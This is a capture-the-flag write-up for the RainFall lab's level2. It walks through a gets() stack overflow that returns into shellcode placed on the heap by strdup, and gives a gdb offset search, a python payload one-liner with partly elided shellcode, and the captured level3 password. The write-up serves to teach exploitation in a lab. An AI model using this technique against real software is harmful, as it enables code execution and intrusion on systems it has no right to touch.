./level2

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   /home/user/level2/level2

level2@RainFall:~$
```

Decompiled file with ***Ghidra***:

```c
void p(void)
{
    void *retAddress;
    char userInput[76];

    flush(stdout);
    gets(userInput);

    if (((unsigned int)retAddress & 0xb0000000) == 0xb0000000)
    {
        printf("(%p)\n", retAddress);
        _exit(1);
    }

    puts(userInput);
    strdup(userInput);
}

void main(void)
{
    p();
    return;
}
```

The program is designed to process user input, then check the top bits of its *return address*. When it identifies the **0xb...** pattern, common to *stack addresses* in systems such as **Linux**, it immediately terminates. This is a built-in security measure to counteract attempts to inject *shellcode* into the **stack**.

Attack Vectors:

- The use of **gets(userInput)** is a notable weak point. It's susceptible to *buffer overflows*, allowing us to manipulate the **stack**, including the function's *return address*, like in the last level.
- The function **strdup(userInput)** duplicates the input but doesn't manage the memory afterward, leading to a *memory leak*. In certain scenarios, this can be turned into an *exploit*.

./level2²

Given that our program doesn't provide direct command execution methods like **system** or **execve**, we'd lean towards using **shellcode**, a compact code designed for *software exploitation*, which would let us launch a **shell**.

Although the program checks and prevents return addresses that point to the **stack** (those starting with 0xb...), it doesn't stop us from changing it to a **heap** address.

So, what's our move? Leveraging the memory leak caused by **strdup** looks promising.

To determine the memory address allocated by **malloc** during a strdup call, we can utilize **ltrace**, which traces *library function calls*:

```
level1@RainFall:~$ ltrace ./level2
strdup("") = 0x0804a008
```

This shows strdup places its duplicated string at address 0x0804a008

We'll craft our payload with a **shellcode** exploit (this one is only 21 bytes long), followed by padding to reach the return address, and then append 0x0804a008 in little endian.
We just need to determine the right padding, and for this, we'll employ a **unique pattern** from this website.

```
level2@RainFall:~$ gdb ./level2

(gdb) run <<< Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8...Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? () << offset = 80

level2@RainFall:~$ {
python -c '
   shellcode="\x31\xc9\xf7\xe1\x51\x68\...\x6e\x89\xe3\xb0\x0b\xcd\x80"
   padding="A" * (80 - len(shellcode))
   retaddress="\x08\xa0\x04\x08"
   print(shellcode + padding + retaddress)';
cat <<< "cd ../level3 && cat .pass";
} | ./level2

1□□□Qh//shh/bin□□
                 ÀAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA□AAAAAAAAAAA□<?>
492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02

level2@RainFall:~$ su level3
Password: 492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02

level3@RainFall:~$
```